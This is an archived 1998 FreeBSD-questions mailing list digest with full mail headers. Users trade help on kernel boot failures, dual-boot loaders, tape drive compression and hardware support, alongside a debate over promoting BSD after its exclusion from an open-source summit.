sfarrell+lists@farrell.org Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 09 Apr 1998 20:46:50 -0500 In-Reply-To: Doug Lo's message of "Fri, 10 Apr 1998 04:07:42 +0800" Message-ID: <87af9usb1w.fsf@phaedrus.uchicago.edu> Lines: 30 X-Mailer: Gnus v5.6.3/XEmacs 20.3 - "Vatican City" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug Lo writes: > Yesterday I used boot floopy to install FreeBSD 2.2.6-RELEASE. > First time I boot, it got a messange "Intel Pentium F00F detected, > installing workaround", > after I got this message, it still works fine for me. > Then I edit my kernel, reboot, it got messages: > > Intel Pentium F00F detected, installing wrokaround. > pid 5 (sh), uid 0 : exited on singal 8 > Apr 10 04:04:33 init:/bin/sh on /etc/rc terminated abnormally, going to > single user mode. > Enter full pathname of shell or RETURN for /bin/sh: > > So I used 'single user mode(-s)' to reboot, still the same. > Would anyone like to teach me how to solve this issue? Well, you should be able to get back up and running by typing kernel.old or kernel.GENERIC at the boot prompt. then, you evidentally changed something in the kernel config that caused a problem... start again with the GENERNIC config file and make a new kernel. I suppose you could either use trial-and-error to figure out what that was, or else post any items you think might be likely to have been problematic. I don't know off-hand what might cause /bin/sh to break! -- Steve Farrell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 18:49:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA24770 for freebsd-questions-outgoing; Thu, 9 Apr 1998 18:49:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA24684 for ; Thu, 9 Apr 1998 18:49:19 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (honoghr-32.mdm.mke.execpc.com [169.207.87.160]) by mailgw01.execpc.com (8.8.8) id BAA18314; Fri, 10 Apr 1998 01:49:11 GMT Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id UAA23161; Thu, 9 Apr 1998 20:49:04 -0500 (CDT) From: Frank Pawlak Message-Id: <199804100149.UAA23161@darkstar.connect.com> Date: Thu, 9 Apr 1998 20:49:02 -0500 (CDT) To: s334761@student.uq.edu.au Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Boot Loader In-Reply-To: X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Stuart Clarke wrote: > Hi, > > I have just one question. With FreeBSD on my master hard disk and > Windows > on my slave, I try to use the boot loader that comes with FreeBSD and > it > comes up with something like this: > > F1: BSD > F5: Disk 2 Windows has to be on the first partition on your drives. I has to be installed before FreeBSD or it will hose up the mbr. From your post it sounds as if you have Windows on a partition other than the first, is that correct? Frank > > No matter if I push F1 or F5, it still boots into FreeBSD. I have to > go > into my computer, pull out power cords, and change jumpers before I > can > get into Windows > > Can anyone help me with this? > > Thanks, > > Stuart > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 18:54:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA25829 for freebsd-questions-outgoing; Thu, 9 Apr 1998 18:54:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA25594; Thu, 9 Apr 1998 18:54:21 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA16680; Fri, 10 Apr 1998 11:24:09 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA00741; Fri, 10 Apr 1998 11:24:08 +0930 (CST) (envelope-from grog) Message-ID: <19980410112408.01873@freebie.lemis.com> Date: Fri, 10 Apr 1998 11:24:08 +0930 From: Greg Lehey To: ip@mcc.ac.uk, questions@FreeBSD.ORG, scsi@FreeBSD.ORG, FreeBSD current users Subject: Re: compression on Exabyte 8700LT? Reply-To: FreeBSD current users References: <199804091527.QAA09483@albatross.mcc.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <199804091527.QAA09483@albatross.mcc.ac.uk>; from Ian Pallfreeman on Thu, Apr 09, 1998 at 04:27:31PM +0100 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 16:27:31 +0100, Ian Pallfreeman wrote: > I've recently acquired another Exabyte drive, an 8700LT. This drive claims to > be able to write 10Gb to a 112m tape in compressed mode, but I'm getting just > the 5Gb I'd expect uncompressed. > > ... > > FreeBSD 3.0-CURRENT #9: Thu Apr 9 16:06:09 BST 1998 > ip@lurch:/usr/src/sys/compile/LURCH Please don't discuss CURRENT topics on -questions. Send them to -current instead (to which I hope you are subscribed). I'm copying -questions on this reply only to show where I've sent the thread. I think there's a general problem with tape compression under -CURRENT. A few months back, I used to be able to back up a complete 8 GB on my DDS-2 drives, but now I've done some testing and found it gives up somewhere round 3.4 GB. I don't understand that, since the native tape capacity is 4 GB. -CURRENT people: I'm using the old SCSI driver. The tape is set to start up in compressed mode, and the DC LED is illuminated all the time. This looks to me as if something in the driver is explicitly disabling compression, or just possibly that the driver is guessing the size of the tape and stopping (with EIO) when it reaches this point. The other point is that it's still returning EIO. I know there's been some discussion about this before, and ISTR that it was inconclusive ("that's the way our grandfathers did it"). While looking at the problem, I came across a program I wrote in my BSD/OS days back in 1992, and I note that even then BSD/OS returned ENOSPC when it got to the end of the tape. This makes a whole lot more sense, and it obviously seems to have withstood the test of time. How about it? Would I get an improvement on either of these points if I installed CAM? I know that CAM can't handle compression switching yet, but can it do compression if it's enabled on the drive? Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 18:55:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA26098 for freebsd-questions-outgoing; Thu, 9 Apr 1998 18:55:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from u1.abs.net (willie@u1.abs.net [207.114.0.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA26000 for ; Thu, 9 Apr 1998 18:55:13 -0700 (PDT) (envelope-from willie@u1.abs.net) Received: (from willie@localhost) by u1.abs.net (8.8.5/8.8.5) id VAA14213 for freebsd-questions@freebsd.org; Thu, 9 Apr 1998 21:53:57 -0400 (EDT) From: Willie Bollinger Message-Id: <199804100153.VAA14213@u1.abs.net> Subject: Colorado T-1000 Tape Backup To: freebsd-questions@FreeBSD.ORG Date: Thu, 9 Apr 1998 21:53:56 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can anyone point me in the right direction to find a driver for the Colorado T-1000 Tape Drive that is running through a floppy controller??? Thanks in advance -- ------------------------------------------------------------------------------- Willie Bollinger, ABSnet Internet Service Voice 410-361-8160 E-Mail willie@abs.net ------------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:05:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA28687 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:05:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA28669; Thu, 9 Apr 1998 19:05:42 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA16697; Fri, 10 Apr 1998 11:35:38 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA00781; Fri, 10 Apr 1998 11:35:37 +0930 (CST) (envelope-from grog) Message-ID: <19980410113536.65458@freebie.lemis.com> Date: Fri, 10 Apr 1998 11:35:36 +0930 From: Greg Lehey To: Mike Smith , David Shanes Cc: hackers@FreeBSD.ORG, Brett Glass , freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" References: <025301bd63fb$0b94bc80$1d43a8c0@shanes.personalogic.com> <199804092124.OAA00915@dingo.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <199804092124.OAA00915@dingo.cdrom.com>; from Mike Smith on Thu, Apr 09, 1998 at 02:24:18PM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 14:24:18 -0700, Mike Smith wrote: >> Here is Tim O'Reilly's response. > ... >>> BTW, the main focus was on internet software, not on >>> operating systems. > > Of course, operating systems are the foundation on which internet > software is built. And the promotional material for the "summit" made > that much pretty clear in its placement of the word "Linux". > > If Tim would like an introduction to Jordan, may I suggest he gets a > reference to me from Greg Lehey, and then I'll introduce him to Jordan. > Of course, Jordan's not quite the jackbooted dictator(*) that Linus is, > and other members of the FreeBSD effort have strong ideas of their own. Tim knows about Jordan, despite his message. We've repeatedly tried to get them interested in BSD, but there's something at ORA that resists. I suspect it's not Tim (who lives in California), but somebody on the East Coast. I've just about given up with ORA. They seem to be relinquishing their position as the favourite UNIX publisher and chasing the NT crowd. I'm surprised they even had this "summit". Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:07:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA29275 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:07:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA29167 for ; Thu, 9 Apr 1998 19:07:04 -0700 (PDT) (envelope-from dkelly@nospam.hiwaay.net) Received: from nospam.hiwaay.net (tnt3-97.HiWAAY.net [208.147.146.97]) by fly.HiWAAY.net (8.8.8/8.8.6) with ESMTP id VAA22215; Thu, 9 Apr 1998 21:06:39 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.8/8.8.4) with ESMTP id TAA15888; Thu, 9 Apr 1998 19:34:10 -0500 (CDT) Message-Id: <199804100034.TAA15888@nospam.hiwaay.net> X-Mailer: exmh version 2.0.2 2/24/98 To: Arthur Alacar cc: freebsd-questions@FreeBSD.ORG From: David Kelly Subject: Re: PostgreSQL 6.3.1 In-reply-to: Message from Arthur Alacar of "Thu, 09 Apr 1998 23:02:21 +0800." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 09 Apr 1998 19:34:10 -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Arthur Alacar writes: > > GOOD DAY!! > > anyone here using Postgresql? One of those things I've Been Meaning To Do. While we are at it, is there a reason the port in /usr/ports/databases/postgresql is still at 6.2.1? -- David Kelly N4HHE, dkelly@nospam.hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:11:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA00843 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:11:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA00832 for ; Thu, 9 Apr 1998 19:11:45 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA16704; Fri, 10 Apr 1998 11:41:41 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA00823; Fri, 10 Apr 1998 11:41:40 +0930 (CST) (envelope-from grog) Message-ID: <19980410114140.42207@freebie.lemis.com> Date: Fri, 10 Apr 1998 11:41:40 +0930 From: Greg Lehey To: Cory Kempf Cc: FreeBSD Questions Subject: Re: Sound on DK440LX? References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Cory Kempf on Thu, Apr 09, 1998 at 06:23:26PM -0400 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 18:23:26 -0400, Cory Kempf wrote: > Does anyone have sound working on a DK440LX motherboard? > > If so, how did you get it to work? > > I have tried both the SB (sound blaster) and the CSS (crystal) devices, but > neither seems to work. At least they do not seem to be found on startup. > > FWIW, I am running a slightly old current. Please don't discuss -CURRENT matters on -questions. If you're not subscribed to -current, do so now before it's too late. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:25:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA02544 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:25:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA02509; Thu, 9 Apr 1998 19:24:24 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (kosnax-42.mdm.mke.execpc.com [169.207.64.46]) by mailgw02.execpc.com (8.8.8) id VAA17587; Thu, 9 Apr 1998 21:24:12 -0500 (CDT) Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id VAA23203; Thu, 9 Apr 1998 21:23:58 -0500 (CDT) From: Frank Pawlak Message-Id: <199804100223.VAA23203@darkstar.connect.com> Date: Thu, 9 Apr 1998 21:23:53 -0500 (CDT) To: jdn@acp.qiv.com Cc: toor@dyson.iquest.net, brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jay Nelson wrote: > On Thu, 9 Apr 1998, John S. Dyson wrote: > > [snip] > > >The problem with FreeBSD, is that people working on FreeBSD are > generally > >older, and find evangelism to be painful. Also, people using FreeBSD > >are busy using it, as opposed to worshipping it. > > > >How do we (really) deal with this? > > I suggest we don't evangelize, per se > Oh but we must!! > I agree that most of use are > older -- and it appears that most of use deal with real clients in the > real world. The cost of an OS is the scheme of the commercial world is > not a deciding factor. Support and reliability is a major factor. You hit on a key fact here and that is support. Please don't take what I am going to say as a criticism. Because FreeBSD users are older and thus more experienced I think it is often taken for granted that every user is at the same level of expertise, which is simply not the case. Further there is an attitude and in some ways correctly so that RTFM is the order of the day. There is a lot of truth to the addage that give a man a fish and you will have to feed hin forever, but teach him to fish and he will be able to feed himself. However, I have noticed some seemingly stupid guestions that go unanswered or ignored completely. I have asked several of these myself even after RTFM.... and just didn't get it so to speak. I am guilty of the terse answer RTFM mind set, and I had a lady administer a public flogging to me on this mailing list this past week because of it. It is understandable that the population of the newsgroup and mailing lists are busy, but to reach the newbe and a larger user community more patience with the user whose UNIX knowledge is at the orangutan level will be required. I have worked in the computer user industry for many years, and the one thing that I realized early on is the UNIX scares the hell out of most people. It has a reputation for be criptic, etc. What I would propose would be some volunteers to take these questions and patiently answer them to maintain user retention, and don't let them slip off to Linux becuse of the mis-apprehension that it is better supported. And that belief is out there partialy because of the volumes of books on the shelves devoted to Linux, most of which are nothing more than a statement of environmental waste in all the trees destroyed to provide the paper for them. Overall I believe that the support offered for FreeBSD is of a higher quality that that of the Linux newsgroups. There is a lot of bulljive passed for expertise on their NGs. So we have a strong base to build upon. We have a pedagree UNIX -- oops -- with a rich heritage not a clone. Some marketing and market presence will get the word out. No reason for FreeBSD to take the back seat to any OS. We have a great story to tell. ----------------snip > > What I suggest is this: > > First -- Jordan -- since you're the main man in this, put the pencil > to the paper and figure out what it would cost to mount a program of > professional news releases -- including customer profiles. Look at the > number of CD-ROMS sold and divide cost by CDs and add to CD cost. Look > at the newsletter and consider subscription. Most of us can afford > some extra bucks and would be happy to spend it for the credibility. > Think in terms of two to three times per month for the news releases. > > Second: poll the rest of us for contributions. Many of us are using > FreeBSD in production environments. (Yeah, I'll volunteer -- even > though I can't write worth a plug nickle.) I'll go along with this. I can't code but would be willing to do my part. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:26:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA03015 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:26:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA03004 for ; Thu, 9 Apr 1998 19:26:11 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA16722; Fri, 10 Apr 1998 11:55:22 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA00903; Fri, 10 Apr 1998 11:55:21 +0930 (CST) (envelope-from grog) Message-ID: <19980410115521.64259@freebie.lemis.com> Date: Fri, 10 Apr 1998 11:55:21 +0930 From: Greg Lehey To: Willie Bollinger , freebsd-questions@FreeBSD.ORG Subject: Re: Colorado T-1000 Tape Backup References: <199804100153.VAA14213@u1.abs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <199804100153.VAA14213@u1.abs.net>; from Willie Bollinger on Thu, Apr 09, 1998 at 09:53:56PM -0400 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 21:53:56 -0400, Willie Bollinger wrote: > Can anyone point me in the right direction to find a driver for the Colorado > T-1000 Tape Drive that is running through a floppy controller??? No. ft is what you're looking for, but before you use it, you'll have to fix it. The concept of floppy tape is so flimsy that it's hardly worth running. I'd strongly advise you to get a better tape drive. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:31:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA04106 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:31:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from makai.maui.net (makai.maui.net [206.154.205.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA04095 for ; Thu, 9 Apr 1998 19:31:28 -0700 (PDT) (envelope-from langfod@makai.maui.net) Received: (from langfod@localhost) by makai.maui.net (8.8.8/8.8.5) id QAA10835 for questions@freebsd.org; Thu, 9 Apr 1998 16:31:26 -1000 (HST) Message-Id: <199804100231.QAA10835@makai.maui.net> Subject: Abit motherboards? To: questions@FreeBSD.ORG Date: Thu, 9 Apr 1998 16:31:26 -1000 (HST) From: "David Langford" X-blank-line: This space intentionaly left blank. X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Anyone have any experience with Abit motherboards? Looking at the Abit LX6 and was curious if any horror stories existed or if they are just fine. Thanks, -David Langford To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:31:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA04266 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:31:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA04124 for ; Thu, 9 Apr 1998 19:31:37 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (kosnax-42.mdm.mke.execpc.com [169.207.64.46]) by mailgw02.execpc.com (8.8.8) id VAA18628 for ; Thu, 9 Apr 1998 21:31:35 -0500 (CDT) Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id VAA23301 for freebsd-questions@freebsd.org; Thu, 9 Apr 1998 21:31:28 -0500 (CDT) From: Frank Pawlak Message-Id: <199804100231.VAA23301@darkstar.connect.com> Date: Thu, 9 Apr 1998 21:31:27 -0500 (CDT) To: freebsd-questions@FreeBSD.ORG Subject: Apsfilter In-Reply-To: X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I appologize for any bother that this post may be to those on the list that this doesn't pertain to. Yesterday someone from the list sent me a message regarding apsfilter and printer config. The original post was to the mailing list, and who ever you are would you kindly re-send your questions? I inadvertantly erassed you message. I am not ignoring you, so please resend and I'll try to help. Thanks Frank To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:38:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA05300 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:38:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp01.primenet.com (smtp01.primenet.com [206.165.6.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA05256; Thu, 9 Apr 1998 19:38:06 -0700 (PDT) (envelope-from tlambert@usr02.primenet.com) Received: (from daemon@localhost) by smtp01.primenet.com (8.8.8/8.8.8) id TAA20817; Thu, 9 Apr 1998 19:37:58 -0700 (MST) Received: from usr02.primenet.com(206.165.6.202) via SMTP by smtp01.primenet.com, id smtpd020799; Thu Apr 9 19:37:56 1998 Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id TAA22946; Thu, 9 Apr 1998 19:37:51 -0700 (MST) From: Terry Lambert Message-Id: <199804100237.TAA22946@usr02.primenet.com> Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" To: abelits@genesyslab.com (Alex Belits) Date: Fri, 10 Apr 1998 02:37:51 +0000 (GMT) Cc: jkh@time.cdrom.com, dshanes@personalogic.com, brett@lariat.org, freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG In-Reply-To: from "Alex Belits" at Apr 9, 98 06:37:00 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > I was told by Eric Raymond (whom I met briefly at the Mozilla party) > > that the *BSD people were deliberately excluded because there were too > > many BSDs and they didn't want to get involved in any political issues > > over it. I find these continuous allegations of the BSD world being > > gratuitously and needlessly "split" (even though each *BSD seeks to > > fill a different niche) by the Linux community to be rather tiresome > > considering the amount of division in their own ranks and can only see > > this as something of a double standard, but I've long since given up > > on any hope of fair play from this particular crowd. > > While Eric Raymond may know better, I suspect that they were afraid of > being involved in political issues over *BSD _vs._ Linux. That looks way, > way more realistic, evan though still insulting. There are certainly some politics involved. Larry McVoy and Eric Raymond are examples of people who distribute their own software under GPL, and have a vested interest in promoting GPL over other licensing terms (though if you go look at http://www.opensource.org for the Open Source Software page, you will see that they state that the BSD license meets the necessary criteria for labelling). One real problem is that there are axes, other than the Open Source Software axe, that are being ground. Eric attributes much favor to the GPL in his "The Cathedral and the Bazaar" paper (written about his "fetchmail" program), and Larry disdains the BSD license for historical reasons (Larry was chief scientist at Sun when they killed SunOS off in favor of Solaris, and wouldn't let the SunOS code out). The division in Linux implementations is very real. I have been hand-holding someone through getting LDAP up on a Linux box, and other than the obvious configuration problems (mostly brought on by GDBM not working like the Berkeley LDBM), there are a number of problems that a purely distribution-centric. Specifically, the RedHat Linux 5.0 distribution implements sys_errlist[] more like BSD, and that makes it impossible to make an LDAP server that will compile both on RedHat 5.0 *and* other Linux implementations at the same time (some need the manifest platform falg SYSERRLIST_IN_STDIO and some *must not* have it). *BSD has a fragmented image problem because there isn't one kernel; but having one kernel hasn't saved Linux from fragmentation problems, like the one listed above (which is one of a class, not just a signle instance that isn't repeated). Spinning market perception is harder than pointing to conclusive technical information. > > This and several other incidents of a similar nature has pretty much > > convinced me that this crowd would rather prefer it if we really > > didn't exist at all and is going to essentially conduct their > > operations as if we didn't. Oh well. Perhaps it *IS* time to go on > > the PR offensive here ("Why Linux doesn't work") since playing nice > > guys hasn't appeared to have won us anything but lots of nice comments > > from folks like Marc A. at netscape to the effect that "Linux is the > > only free OS alternative." I'm getting tired of that, and if it's > > going to take "breaking ranks" with the rest of the free OS community > > to get our own message out, maybe it's time. > > Please, before doing that try to make a list of goals that it is > supposed to accomplish. I have to admit that I was a bit ticked off by one press release that stated "Linux is the freely available UNIX implementation", using "the" instead of "a". The was SunWorld Online (I believe) quoting Netscape higher-ups over the Mozilla release. I don't think that "attack ads" will do much but alienate people, but on the other hand, I would definitely like to avoid BSD ending up a second-class invisible. Netscape making Linux a reference platform, but not BSD, is rather much to take with grace and no visible indignation. What is the status on the CVS/CVSup Mozilla source repository that was being considered? That would certainly raise visibility in a positive way, even if the involvement was only in providing the technology to Netscape. You could still press-release it... If nothing else, BSD *needs* to have a Mozilla repository, if BSD is *not* a reference platform. Certainly "FreeBSD Mirrors Mozilla Sources Internationally" would be a good headline for a press release as well... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:39:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA05797 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:39:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA05789; Thu, 9 Apr 1998 19:39:49 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (kosnax-42.mdm.mke.execpc.com [169.207.64.46]) by mailgw01.execpc.com (8.8.8) id CAA25153; Fri, 10 Apr 1998 02:39:41 GMT Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id VAA23365; Thu, 9 Apr 1998 21:39:31 -0500 (CDT) From: Frank Pawlak Message-Id: <199804100239.VAA23365@darkstar.connect.com> Date: Thu, 9 Apr 1998 21:39:30 -0500 (CDT) To: jkh@time.cdrom.com Cc: dshanes@personalogic.com, brett@lariat.org, freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <3980.892169423@time.cdrom.com> X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: 